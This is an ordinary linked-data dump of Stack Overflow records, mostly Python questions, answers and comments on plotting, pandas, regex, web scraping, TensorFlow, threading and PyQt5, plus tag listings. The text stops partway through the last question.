type: Comment
comment on: http://stackoverflow.com/a/49486362
has text: Sorry, I can't see what the issue is. Hope you figure it out.

http://stackoverflow.com/a/50088362
has comment: http://stackoverflow.com/comment/87255942
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/87210044
upvote count: 2
has body: You don't need IDA python installed. It's already installed for you. E.g. on OS X the path is following: ls -1 /Applications/IDA\ Pro\ 7.1/ida.app/Contents/MacOS/python PyQt5 ida_allins.py ida_allins.pyc ida_auto.py ida_auto.pyc ida_bytes.py ida_bytes.pyc ... But in your case you should know that IDA Free has no idapython included...
type: Answer
accepted answer of: http://stackoverflow.com/q/49447115
has comment: http://stackoverflow.com/comment/87340608
score: 2
answers question: http://stackoverflow.com/q/49447115
has comment: http://stackoverflow.com/comment/120451292

http://stackoverflow.com/q/49519901
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86045400
tagged with: python
has title: Pyplot Scatter Plot
has comment: http://stackoverflow.com/comment/86049904
has comment: http://stackoverflow.com/comment/86049974
has body: I'm not great at matplotlib, but I need to use it for some work I am doing. I have a set of 9 columns of data, with around 100k lines. I want to produce a scatter plot, and I don't care about the rows, they're meaningless for my purposes. What I need is for the values to be plotted as a scatter against which column they are in, regardless of which row they a part of. This is all loaded in from a text file in a simple 2D array using numpy.loadtxt. It's just a set of numbers, so any substitution of random numbers should work. I'm just not sure how to manipulate it in a way that the scatter command will like. I often get it giving me errors like I'm giving it too few arguments, or it just iterates over the array (or arrays if I separate them), in ways I do not anticipate. My first thought is that I could somehow break it down into a set of series by column, but I don't think the scatter command will take that. Any help would be very much appreciated.
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49522247
has comment: http://stackoverflow.com/comment/86047548
has answer: http://stackoverflow.com/a/49522247
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86047220
downvote count: 1
tagged with: plot
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86045985
has comment: http://stackoverflow.com/comment/86049032

http://stackoverflow.com/a/49569486
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
score: 1
has body: With re.findall() function and specific regex pattern: rows = re.findall(r'(^\d{1,2} .+?)(?=\n(?:\d+ |Some Valid Tex))', data, re.DOTALL | re.M) print(rows) The output: ['1 00061680 904834 20.35 REV 177,650 5329,50\nBundled 2-rev 42al/xyz\nNeon Classic Unit 1300 abc \\ 1638\x048', '2 00012815 55244 815 FWD 164,720 18448,64\nUnBundled 2-pag\nMathrine Classic straight Tilt 2 xyz / 23,2x23gb\n150st/xyz 20 abc/xyz', '3 90072815 65944 212 KRT 164,720 18448,64\nUnBundled 2-pag\nMathrine Classic straight Tilt 2 xyz / 23,2x23gb\n150st/bunt 20 bunt/bal']
answers question: http://stackoverflow.com/q/49568719
accepted answer of: http://stackoverflow.com/q/49568719

http://stackoverflow.com/q/49475391
linked to: http://stackoverflow.com/q/452104
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/85953311
possible better answer: http://stackoverflow.com/a/49475951
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
answer count: 2
score: 1
has answer: http://stackoverflow.com/a/49475951
accepted answer: http://stackoverflow.com/a/49476319
has body: I'm trying to detect how many times a word appears in a txt file but the word is connected with other letters. Detecting Hello Text: Hellooo, how are you? Expected output: 1 Here is the code I have now: total = 0 with open('text.txt') as f: for line in f: finded = line.find('Hello') if finded != -1 and finded != 0: total += 1 print total´ Do you know how can I fix this problem?
downvote count: 1
has title: Detect text connected
has answer: http://stackoverflow.com/a/49476319
favorite count: 0

http://stackoverflow.com/comment/86123851
comment on: http://stackoverflow.com/a/49556996
has text: You can choose what column to aggregate when pivoting using the argument `value=`. See my edited answer. If it does not answer your question, please provide a little example of what you want.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/49563183
has comment: http://stackoverflow.com/comment/86135259
has comment: http://stackoverflow.com/comment/86280429
has comment: http://stackoverflow.com/comment/86134944
has comment: http://stackoverflow.com/comment/86134926
has comment: http://stackoverflow.com/comment/86135043
score: 3
has body: UPDATE Here's the final code piggybacking off of @Dan-Dev. It's kind of hacky... Excuse the length, I didn't have time to write shorter code. import re import requests from bs4 import BeautifulSoup from pprint import pprint def is_phone_number(txt): r = re.compile(r"(\d{3}[-\.\s]??\d{3}[-\.\s]??\d{4}|\(\d{3}\)\s*\d{3}[-\.\s]??\d{4}|\d{3}[-\.\s]??\d{4})") return r.match(txt) def is_gas_type(txt): return any(term in txt.lower() for term in ['lead', 'diesel']) def is_lat_lon(txt): return any(term in txt.lower() for term in ['lat', 'lon']) def is_hour_of_operation(txt): return any(term in txt.lower() for term in ['24 hrs', ' am ', ' pm ', 'm-f']) def str_colon_list_to_str_float_dict(rlist): """["a:1.0", "b:2.0"] =&gt; {"a":1.0, "b":2.0}""" intermediate_dict = dict(map(lambda s: s.split(':'), rlist)) return dict((k, float(v)) for k, v in intermediate_dict.iteritems()) page = requests.get("http://www.nj.gov/treasury/administration/statewide-support/motor-fuel-locations.shtml") soup = BeautifulSoup(page.content, 'html.parser') table = soup.find_all('table')[5] gas_stations = [] for x in table.find_all('td', {'valign': 'top', 'colspan': None, 'width': None}): gas_station = [] # split text on line breaks and then remove whitespace for y in x.text.splitlines(): line = ' '.join(y.split()) gas_station.append(line) # skip lines consisting of only empty strings if not ('' in set(gas_station) and len(set(gas_station)) == 1): gas_stations.append(gas_station) gas_stations_dict = {} for gas_station in gas_stations: gas_station_dict = {} address_list = [] lat_long_list = [] for i, g in enumerate(gas_station): g = g.encode("utf-8") if i == 0: gas_station_dict['Name'] = g elif is_phone_number(g): gas_station_dict['Phone Number'] = g elif is_lat_lon(g): lat_long_list.append(g) elif is_gas_type(g): gas_station_dict['Gas Type'] = g elif is_hour_of_operation(g): gas_station_dict['Hours of Operation'] = g else: address_list.append(g) gas_station_dict['Coordinates'] = str_colon_list_to_str_fl…
has comment: http://stackoverflow.com/comment/86135225
has comment: http://stackoverflow.com/comment/86134727
accepted answer of: http://stackoverflow.com/q/49562654
upvote count: 3
has comment: http://stackoverflow.com/comment/86134755
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86135016
has comment: http://stackoverflow.com/comment/86134913
answers question: http://stackoverflow.com/q/49562654
has comment: http://stackoverflow.com/comment/86134744
has comment: http://stackoverflow.com/comment/86134857
has comment: http://stackoverflow.com/comment/86135152
has comment: http://stackoverflow.com/comment/86134596
type: Answer

http://stackoverflow.com/comment/86158287
score: 0
comment on: http://stackoverflow.com/q/49575390
type: Comment
type: QuestionComment
has text: If I want to get all these tags in beautifulsoup, what should I do? HELP! @Kangouroops

http://stackoverflow.com/a/49475520
has comment: http://stackoverflow.com/comment/85955561
has comment: http://stackoverflow.com/comment/85953735
has comment: http://stackoverflow.com/comment/85954796
has comment: http://stackoverflow.com/comment/85955470
type: Answer
answers question: http://stackoverflow.com/q/49475155
has comment: http://stackoverflow.com/comment/85953526
has body: The problem with your code is here: while (i &lt; len(contenido)): if(contenido[i].startswith("\"\"\"") or isComentario): isComentario = True ... else: i += 1 When isComentario is set to True, this if statement will evaluate to true and your loop won't increment i. So the next iteration of the loop checks the same line again, the if evaluates to True again, i isn't incremented, and you have an infinite loop. The correct way to work with python source code is to use the ast module. You use ast.parse to parse the code, and then ast.walk to find all function definitions: import ast tree = ast.parse(code) functions = [] for node in ast.walk(tree): if isinstance(node, ast.FunctionDef): args = ', '.join(arg.arg for arg in node.args.args) function = '{}({})'.format(node.name, args) functions.append(function) print(functions) # output: # ['funcionPrueba(self)', 'alex(self)', 'monxo(self)', # 'cla(self)', 'zilveztre(self)', 'cla2()']
accepted answer of: http://stackoverflow.com/q/49475155
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/86050390
comment on: http://stackoverflow.com/q/49521971
type: QuestionComment
has text: I'm getting black screen and nothing else. No need for screenshot.
type: Comment
score: 0

http://stackoverflow.com/a/49491837
type: Answer
downvote count: 1
answers question: http://stackoverflow.com/q/49491766
score: 0
upvote count: 1
has body: You use index+1 Index returns the index of a particular character(or the length of the string till a particular character -1) test = "bcdefaghijklmnaopqrstuavasdfawefafw" len = test.index('a')+1

http://stackoverflow.com/q/49577772
type: AnsweredQuestion
has body: I have a DataFrame that contains a list of thousands of, let's say, cars. Each car has a Start year column and an End year column, which represents the interval of years the car has circulated. Each car also has an average fuel consumption column for the whole period, like so: df_cars +-----+------------+----------+--------------------------+ | Car | Start year | End year | Average fuel consumption | +-----+------------+----------+--------------------------+ | 1 | 2002 | 2025 | 10.0 | +-----+------------+----------+--------------------------+ | 2 | 1995 | 2008 | 12.5 | +-----+------------+----------+--------------------------+ | 3 | 2005 | 2017 | 8.5 | +-----+------------+----------+--------------------------+ For a period between 2000 and 2015, I would like to obtain an average fuel consumption of the fleet of cars operating each year "Y". Hence, if a car has a Start year &lt; Y and an End year > Y, it should be included in the average of the fleet for that given year. Obviously, most cars will appear in the fleet average of several years. As of now, I am doing a loop, but it is rather slow. for y in range(2000, 2015): df_cars[(df_cars["Start year"]&lt;=int(y))&amp;(df_cars["End year"]&gt;=int(y))]["Average fuel consumption"].mean(axis=0) Is there a faster way of doing this? Thank you.
downvote count: 0
tagged with: pandas
score: 1
upvote count: 1
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/49578130
type: Question
tagged with: dataframe
tagged with: python
linked to: http://stackoverflow.com/q/42151886
has answer: http://stackoverflow.com/a/49578130
has title: Pandas Dataframe rows average based on value interval

mean
tags question: http://stackoverflow.com/q/49494134
tags question: http://stackoverflow.com/q/49522553
tags question: http://stackoverflow.com/q/49497707
tag name: mean
tags question: http://stackoverflow.com/q/49568082
tags question: http://stackoverflow.com/q/49447911
type: Tag

http://stackoverflow.com/comment/86011824
type: Comment
type: QuestionComment
score: 0
has text: Why are you replacing single quotes?
comment on: http://stackoverflow.com/q/49503571

http://stackoverflow.com/a/49590241
type: Answer
downvote count: 0
upvote count: 1
has body: It seems like you wanted to generate the solutions list with respect to the my_keys list. Try this: my_dict = {'one': 1, 'two': 2, 'three': 3} my_keys = ['three', 'one','ten','one'] solutions = [] for key in my_keys: if key in my_dict: solutions.append(my_dict[key]) else: solutions.append('Nan') print(solutions)
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49590189
answers question: http://stackoverflow.com/q/49590189
score: 1

http://stackoverflow.com/q/49463875
has body: This is my code and my result. I use Spyder to solve problem but it's not work. from scipy.optimize import linprog c = [2, 3, 4, 6, 7, 5, 7, 8, 9, 9, 8, 9] A = [[1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0], [0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0], [0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1], [1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1], [1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0], [0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0], [0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1], [0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1]] b = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1] x0_bounds = (1, None) x1_bounds = (1, None) x2_bounds = (1, None) x3_bounds = (1, None) x4_bounds = (1, None) x5_bounds = (1, None) x6_bounds = (1, None) x7_bounds = (1, None) x8_bounds = (1, None) x9_bounds = (1, None) x10_bounds = (1, None) x11_bounds = (1, None) res = linprog(c,A,b,bounds=(x0_bounds, x1_bounds, x2_bounds, x3_bounds, x4_bounds, x5_bounds, x6_bounds, x7_bounds, x8_bounds, x9_bounds, x10_bounds, x11_bounds), method='simplex') print(res) runfile('C:/Users/Jo/Desktop/project/project1.py', wdir='C:/Users/Jo/Desktop/project') Output: fun: 9.0 message: 'Optimization failed. Unable to find a feasible starting point.' nit: 3 status: 2 success: False x: nan
downvote count: 2
answer count: 1
has title: I can not solve integer linear programming minimization
tagged with: scipy
favorite count: 0
tagged with: integer
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49464297
has answer: http://stackoverflow.com/a/49464297
upvote count: 1
tagged with: python
tagged with: linear-programming
score: -1
type: AnsweredQuestion

http://stackoverflow.com/comment/85998341
type: Comment
type: QuestionComment
has text: Have you tried using tf.nn.sampled_softmax_loss?
score: 0
comment on: http://stackoverflow.com/q/49465418

http://stackoverflow.com/comment/86032108
has text: doesn't that only consider the value column I also need to check value 2 column's range concurrently
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49513689
score: 0

http://stackoverflow.com/q/49564042
has title: Globally changing matplotlib default styles
favorite count: 0
has body: I have a question: how can I use a default style on matplotlib (because I like it) but change only a single parameter? Here's an example: using the default matplotlib style or the "calssic" one I can change the font size globally by updating rcParams: import matplotlib.pyplot as plt plt.style.use('classic') plt.rcParams.update({'font.size': 18.0}) x = [0, 1, 2, 3] y = [0, 1, 4, 9] fig, ax0 = plt.subplots() ax0.plot(x, y) ax0.set_xlabel('data x') ax0.set_ylabel('data y') plt.show() output if instead I choose a different default style at the beginning: import matplotlib.pyplot as plt plt.style.use('seaborn') plt.rcParams.update({'font.size': 18.0}) x = [0, 1, 2, 3] y = [0, 1, 4, 9] fig, ax0 = plt.subplots() ax0.plot(x, y) ax0.set_xlabel('data x') ax0.set_ylabel('data y') plt.show() the font size remains of the default value it doesn't work like that; plt.rcParams.update({'font.size': 18.0}) It's like the font.size line doesn't exist. Now a simple solution to this would be to define a global variable with a specific font size and manually add it to every element of the plot but it doesn't sound that clever to me. Any other ideas how to modify the fontsize globally? Is it in fact possible or do I just have to deal with it and create a matplotlib style file on my own? EDIT: By a more careful thought, following DavidG comment, I tried with different styles: ggplot and fivethirtyeight even seaborn-dark, and my code works (as I would expect). The issue is then related to the seaborn style only (that I am being to unlucky to choose)..
has comment: http://stackoverflow.com/comment/86136755
type: Question
has comment: http://stackoverflow.com/comment/86136991
tagged with: python
has comment: http://stackoverflow.com/comment/86136869
accepted answer: http://stackoverflow.com/a/49565601
has answer: http://stackoverflow.com/a/49565601
type: AnsweredQuestion
upvote count: 3
score: 3
tagged with: matplotlib
downvote count: 0
has comment: http://stackoverflow.com/comment/86139587
answer count: 1

http://stackoverflow.com/comment/86145902
type: QuestionComment
comment on: http://stackoverflow.com/q/49568937
type: Comment
has text: I don't have the time to write a full answer but this seems like a complete solution using the packages you prefer: https://codelike.pro/create-a-crawler-with-rotating-ip-proxy-in-python/
score: 0

http://stackoverflow.com/comment/86331600
has text: @JeffC Just like IddoE posted. Any selenium broswer get can reproduced the issue browser = webdriver.Chrome('./chromedriver', chrome_options=options) browser.get('https://www.avnet.com/wps/portal/us')
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49583137

http://stackoverflow.com/comment/86177865
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49584621
has text: "\n" represents newline character.
type: Comment

http://stackoverflow.com/a/49455166
score: 1
type: Answer
has body: To retrieve the text 1841 from the previous div you can use the following line of code : text = b.find_element_by_xpath("//div[contains(.,'value_to_alert')]//preceding::div[1]").text
answers question: http://stackoverflow.com/q/49454419
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49454419
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49540675
upvote count: 3
answer count: 2
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49544040
has answer: http://stackoverflow.com/a/52643278
has body: implementing a seq2seq model with bidirectional multilstm layers with attention and beamsearch. (Only posted the necessary code to keep it simple) # helper to create the layers def make_lstm(rnn_size, keep_prob): lstm = tf.nn.rnn_cell.LSTMCell(rnn_size, initializer = tf.random_uniform_initializer(-0.1, 0.1, seed=2)) lstm_dropout = tf.nn.rnn_cell.DropoutWrapper(lstm, input_keep_prob = keep_prob) return lstm_dropout # helper to create the attention cell with def decoder_cell(dec_cell, rnn_size, enc_output, lengths): attention_mechanism = tf.contrib.seq2seq.BahdanauAttention( num_units = rnn_size, memory = enc_output, memory_sequence_length = lengths, normalize = True, name = 'BahdanauAttention') return tf.contrib.seq2seq.AttentionWrapper( cell = dec_cell, attention_mechanism = attention_mechanism, attention_layer_size = rnn_size) encoder # foward cell_fw = tf.nn.rnn_cell.MultiRNNCell([make_lstm(rnn_size, keep_prob) for _ in range(n_layers)]) # backward cell_bw = tf.nn.rnn_cell.MultiRNNCell([make_lstm(rnn_size, keep_prob) for _ in range(n_layers)]) enc_output, enc_state = tf.nn.bidirectional_dynamic_rnn(cell_fw, cell_bw, rnn_inputs, sequence_length=sequence_length, dtype=tf.float32, ) enc_output = tf.concat(enc_output,-1) decoder beam_width = 10 dec_cell = tf.nn.rnn_cell.MultiRNNCell([make_lstm(rnn_size, keep_prob) for _ in range(num_layers)]) output_layer = Dense(vocab_size, kernel_initializer = tf.truncated_normal_initializer(mean = 0.0, stddev=0.1)) dec_cell = decoder_cell(dec_cell, rnn_size, enc_output, text_length) with tf.variable_scope("decode"): # (dec_embed_input comes from another function but should not be # relevant in this context. ) helper = tf.contrib.seq2seq.TrainingHelper(inputs = dec_embed_input, sequence_length = summary_length, time_major = False) decoder = tf.contrib.seq2seq.BasicDecoder(cell = dec_cell, helper = helper, initial_state = dec_cell.zero_state(batch_size, tf.float32), output_layer = output_layer) logits = tf.contrib.seq2seq.dynamic_dec…
has title: Tensorflow: Troubles with BeamSearchDecoder - dynamic_decode
tagged with: tensorflow
favorite count: 0
type: Question
score: 3
tagged with: seq2seq
tagged with: python
tagged with: recurrent-neural-network
has comment: http://stackoverflow.com/comment/96702692

http://stackoverflow.com/comment/86182280
score: 0
has text: @abarnert sorry, i misunderstood your question. FPDF can process them if i download them manually, but that's because they aren't corrupted files then.
comment on: http://stackoverflow.com/q/49587043
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85961592
comment on: http://stackoverflow.com/q/49476718
score: 0
has text: Yes, and i found the problem, and it is not related to the code or python. Issue is i had a .gitignore file that ignored all files in the images folder (even the .gitkeep file), so when cloning the repo the images folder was removed
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85905420
comment on: http://stackoverflow.com/q/49450450
has text: There are 22 strings: 'value3' in a file. I want to replace each of them with elements in list3. So 1st occuerence of 'value3' will be replaced to 1st value from the list and so on.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85935490
score: 0
type: Comment
type: QuestionComment
has text: No! Just looked up and saw there is a 'r' version for every operation. Thanks a lot, guess this will fix it!
comment on: http://stackoverflow.com/q/49466434

dataframe
tags question: http://stackoverflow.com/q/49489308
tags question: http://stackoverflow.com/q/49563833
tags question: http://stackoverflow.com/q/49485160
tags question: http://stackoverflow.com/q/49452412
tags question: http://stackoverflow.com/q/49574080
tags question: http://stackoverflow.com/q/49567315
tags question: http://stackoverflow.com/q/49462921
tags question: http://stackoverflow.com/q/49496212
tags question: http://stackoverflow.com/q/49501821
tags question: http://stackoverflow.com/q/49470965
tags question: http://stackoverflow.com/q/49444141
tags question: http://stackoverflow.com/q/49558922
tags question: http://stackoverflow.com/q/49580259
tags question: http://stackoverflow.com/q/49519687
tags question: http://stackoverflow.com/q/49591867
tags question: http://stackoverflow.com/q/49538374
tags question: http://stackoverflow.com/q/49597205
tags question: http://stackoverflow.com/q/49590369
tags question: http://stackoverflow.com/q/49444445
tags question: http://stackoverflow.com/q/49563746
tags question: http://stackoverflow.com/q/49514791
tags question: http://stackoverflow.com/q/49594752
tags question: http://stackoverflow.com/q/49567021
tags question: http://stackoverflow.com/q/49538033
tags question: http://stackoverflow.com/q/49476210
tags question: http://stackoverflow.com/q/49523991
tags question: http://stackoverflow.com/q/49499089
tags question: http://stackoverflow.com/q/49479846
tags question: http://stackoverflow.com/q/49557895
tags question: http://stackoverflow.com/q/49581703
tags question: http://stackoverflow.com/q/49572043
tags question: http://stackoverflow.com/q/49529806
tags question: http://stackoverflow.com/q/49477999
tags question: http://stackoverflow.com/q/49545574
tags question: http://stackoverflow.com/q/49514671
tags question: http://stackoverflow.com/q/49473649
tags question: http://stackoverflow.com/q/49530918
tags question: http://stackoverflow.com/q/49493720
tags question: http://stackoverflow.com/q/49563382
tags question: http://stackoverflow.com/q/49545985
tags question: http://stackoverflow.com/q/49562916
tags question: http://stackoverflow.com/q/49446284
tags question: http://stackoverflow.com/q/49593222
tags question: http://stackoverflow.com/q/49514573
tags question: http://stackoverflow.com/q/49546769
tags question: http://stackoverflow.com/q/49524142
tags question: http://stackoverflow.com/q/49477341
tags question: http://stackoverflow.com/q/49569172
tags question: http://stackoverflow.com/q/49575897
tags question: http://stackoverflow.com/q/49513162
tags question: http://stackoverflow.com/q/49469363
tags question: http://stackoverflow.com/q/49524884
tags question: http://stackoverflow.com/q/49485426
tags question: http://stackoverflow.com/q/49546343
tags question: http://stackoverflow.com/q/49538497
tags question: http://stackoverflow.com/q/49471283
tags question: http://stackoverflow.com/q/49598442
tags question: http://stackoverflow.com/q/49553569
tags question: http://stackoverflow.com/q/49515298
tags question: http://stackoverflow.com/q/49517954
tags question: http://stackoverflow.com/q/49494972
tags question: http://stackoverflow.com/q/49498575
tags question: http://stackoverflow.com/q/49513688
tags question: http://stackoverflow.com/q/49500041
tags question: http://stackoverflow.com/q/49453440
tags question: http://stackoverflow.com/q/49591320
tags question: http://stackoverflow.com/q/49479902
tags question: http://stackoverflow.com/q/49575111
tags question: http://stackoverflow.com/q/49451018
tags question: http://stackoverflow.com/q/49499947
tags question: http://stackoverflow.com/q/49518655
tags question: http://stackoverflow.com/q/49479568
tags question: http://stackoverflow.com/q/49598289
tags question: http://stackoverflow.com/q/49480591
tags question: http://stackoverflow.com/q/49540468
tags question: http://stackoverflow.com/q/49469223
tags question: http://stackoverflow.com/q/49513661
tags question: http://stackoverflow.com/q/49480368
tags question: http://stackoverflow.com/q/49572579
tags question: http://stackoverflow.com/q/49571382

http://stackoverflow.com/q/49589671
accepted answer: http://stackoverflow.com/a/49589897
has comment: http://stackoverflow.com/comment/86191968
tagged with: queue
type: Question
has answer: http://stackoverflow.com/a/49589897
linked to: http://stackoverflow.com/q/35160417
tagged with: locking
tagged with: multithreading
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
has body: I'm currently learning to use threads in Python, and I'm playing around with this dummy bit of code for practice: import threading import queue import time my_queue = queue.Queue() lock = threading.Lock() for i in range(5): my_queue.put(i) def something_useful(CPU_number): while not my_queue.empty(): lock.acquire() print("\n CPU_C " + str(CPU_number) + ": " + str(my_queue.get())) lock.release() print("\n CPU_C " + str(CPU_number) + ": the next line is the return") return number_of_threads = 8 practice_threads = [] for i in range(number_of_threads): thread = threading.Thread(target=something_useful, args=(i, )) practice_threads.append(thread) thread.start() All this does is create a queue with 5 items, and pull them out and print them with different threads. What I noticed, though, is that some of the threads aren't terminating properly. For example, if I later add something to the queue (e.g. my_queue.put(7)) then some thread will instantly print that number. That's why I added the last print line print("\n CPU_C " + str(CPU_number) + ": the next line is the return"), and I noticed that only one thread will terminate. In other words, when I run the code above, only one thread will print "the next line is the return". The weird thing is, this issue disappears when I remove the lock. Without the lock, it works perfectly fine. What am I missing?
favorite count: 0
type: AnsweredQuestion
has title: While loop in python doesn't end when it contains a lock
score: 1

http://stackoverflow.com/comment/86178826
score: 0
type: AnswerComment
has text: Thank you. Without sort_index(), the series are appended separately one after the other. With sort_index(), it sorts, but I have a problem with day and month interchanged and it messes up the index and values. I have yyyy-dd-mm format in my date time index and upon sort it comes out as yyyy-mm-dd format
comment on: http://stackoverflow.com/a/49584927
type: Comment

http://stackoverflow.com/comment/86052671
score: 0
type: Comment
has text: I think it's a matter of principle (not rewarding bad questions with answers), but alright.
type: AnswerComment
comment on: http://stackoverflow.com/a/49523336

http://stackoverflow.com/comment/85988934
type: Comment
type: QuestionComment
has text: You may benefit from [Reference - Password Validation](https://stackoverflow.com/questions/48345922/reference-password-validation/)
comment on: http://stackoverflow.com/q/49462869
score: 0

http://stackoverflow.com/a/50245232
answers question: http://stackoverflow.com/q/49442617
score: 0
has body: You will have to reshape your data (no_of_samples/timesteps,timesteps,input_dim)
type: Answer

http://stackoverflow.com/a/49476370
has comment: http://stackoverflow.com/comment/85962722
has body: Assuming expr will be a method/function and assuming you know what method/function returns, you have 3 options. Follow just one of these 3 options and you'll achieve what you want. 1) You can call expr in the assignement to self.expr: .... class CheckStatus: def __init__(self, expr, ...) self.expr = expr() # expr() being called here, store whatever the result is to self.expr def __call__(self): # self.expr already holds a boolean value, or anything your expr returns if self.expr == self.status: # self.expr match ... # do what else you have to do obj = CheckStatus(SomeClass().method, ...) # pay attention how we pass the method here 2) If self.expr is a reference to that expr, then: class CheckStatus: def __init__(self, expr, ...): self.expr = expr def __call__(self): # in this example, self.expr now it's a reference to some method # thus you need to call self.expr here if self.expr() == self.status: .... obj = CheckStatus(SomeClass().method, ...) # pay attention how we pass method for this example 3) call the SomeClass().method() at instantiation of CheckStatus(): class CheckStatus: def __init__(self, expr, ...): self.expr = expr # for this example, expr already is a boolean or anything else some method/function returned def __call__(self): # don't need to call anything here if self.expr == self.status: .... obj = CheckStatus(SomeClass().method(), ...) # because here we called SomeClass().method() You have to call the method/function your passing in to your CheckStatus class somewhere, otherwise you'll never have that method/function result to check. Hope it was clear.
answers question: http://stackoverflow.com/q/49475889
type: Answer
accepted answer of: http://stackoverflow.com/q/49475889
has comment: http://stackoverflow.com/comment/85961357
has comment: http://stackoverflow.com/comment/85956357
has comment: http://stackoverflow.com/comment/85956230
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/105473859
has text: The `python-pptx` library handles the actual unzipping / modifying / re-zipping of the underlying XML files through its API.
type: QuestionComment
comment on: http://stackoverflow.com/q/49560567
score: 1
type: Comment

http://stackoverflow.com/a/49476624
accepted answer of: http://stackoverflow.com/q/49476565
type: Answer
answers question: http://stackoverflow.com/q/49476565
score: 0
type: AcceptedAnswer
has body: You're missing a return statement. So sometimes your calcularCantidadPrimosEnIntervalo() function returns None instead of an integer. This line: else: calcularCantidadPrimosEnIntervalo(a + 1, b); ...should be: else: return calcularCantidadPrimosEnIntervalo(a + 1, b);

zsh
tags question: http://stackoverflow.com/q/49516060
tag name: zsh
tags question: http://stackoverflow.com/q/49473252
type: Tag

http://stackoverflow.com/q/49451834
downvote count: 0
tagged with: gaussian
has comment: http://stackoverflow.com/comment/85908970
has comment: http://stackoverflow.com/comment/85909073
has comment: http://stackoverflow.com/comment/85909549
has body: I am trying to establish what people would loosely refer to as a homemade KDE - I suppose. I am trying to evaluate a density of a rather huge set of datapoints. In particular, having many data points for a scatter, I want to indicate the density using a color gradient (see link below). For exemplification, I provide a random pair of (x,y) data below. The real data will be spread on different scales, hence the difference in X and Y grid point spacing. import numpy as np from matplotlib import pyplot as plt def homemadeKDE(x, xgrid, y, ygrid, sigmaX = 1, sigmaY = 1): a = np.exp( -((xgrid[:,None]-x)/(2*sigmaX))**2 ) b = np.exp( -((ygrid[:,None]-y)/(2*sigmaY))**2 ) xweights = np.dot(a, x.T)/np.sum(a) yweights = np.dot(b, y.T)/np.sum(b) return xweights, yweights x = np.random.rand(10000) x.sort() y = np.random.rand(10000) xGrid = np.linspace(0, 500, 501) yGrid = np.linspace(0, 10, 11) newX, newY = homemadeKDE(x, xGrid, y, yGrid) What I am stuck with is, how to project these values back to the original x and y vector so I can use it for plotting a 2D scatter plot (x,y) with a z value for the density colored by a given color map like so: plt.scatter(x, y, c = z, cmap = "jet") Plotting and KDE approach is in fact inspired by this great answer EDIT 1 To smooth out some confusion, the idea is to do a gaussian KDE, which would be on a much coarser grid. SigmaX and sigmaY reflect the bandwidth of the kernel in x and y directions, respectively.
has comment: http://stackoverflow.com/comment/85909403
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49693678
tagged with: kernel-density
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/85910512
has answer: http://stackoverflow.com/a/49693678
has comment: http://stackoverflow.com/comment/85908581
linked to: http://stackoverflow.com/q/20105364
has comment: http://stackoverflow.com/comment/85909510
tagged with: matplotlib
has title: Gaussian summation for 2D scatter plots using python
tagged with: python
tagged with: numpy
has comment: http://stackoverflow.com/comment/85908790
has comment: http://stackoverflow.com/comment/85909396
upvote count: 3
has comment: http://stackoverflow.com/comment/85908490
answer count: 1

http://stackoverflow.com/comment/86202258
comment on: http://stackoverflow.com/q/49596340
type: Comment
score: 0
type: QuestionComment
has text: I have checked your link. It is suitable for single "Decimal" word. Not for a list include "Decimal", But also thank you.

http://stackoverflow.com/q/49461247
tagged with: python
has title: how to create a new window automatically in PyQt5?
has body: It's weird that a function to create a new window works when I use a button to call it and didn't work when something satisfy some condition to call it. from PyQt5 import QtWidgets, QtCore from interface import Ui_Form as uiInterface from chooseLauncherFile import Ui_Form as uiChooseLauncherFile class MyInterface(uiInterface): def __init__(self): self.window = QtWidgets.QWidget() self.setupUi(self.window) self.threads = QtCore.QThread() self.threads.run = self.init self.threads.start() self.window.show() def init(self): self.util = Util(self) self.util.detectLauncher() self.syncToServer() #this function should run after main window show def chooseLauncherFile(self): self.chooseLauncherWindow = QtWidgets.QWidget() self.chooseLauncherUi=MyChooseLauncherFile() self.chooseLauncherUi.setupUi(self.chooseLauncherWindow) self.chooseLauncherWindow.show() class MyChooseLauncherFile(uiChooseLauncherFile): def confirm(self, item): EXEC_FILE = item.text() class Util(): def __init__(self, interface): self.interface = interface def detectLauncher(self): if True: #has been simplified here self.interface.chooseLauncherFile() these code will make the new child window non-response, but it will be ok when I change the code like following def init(self): 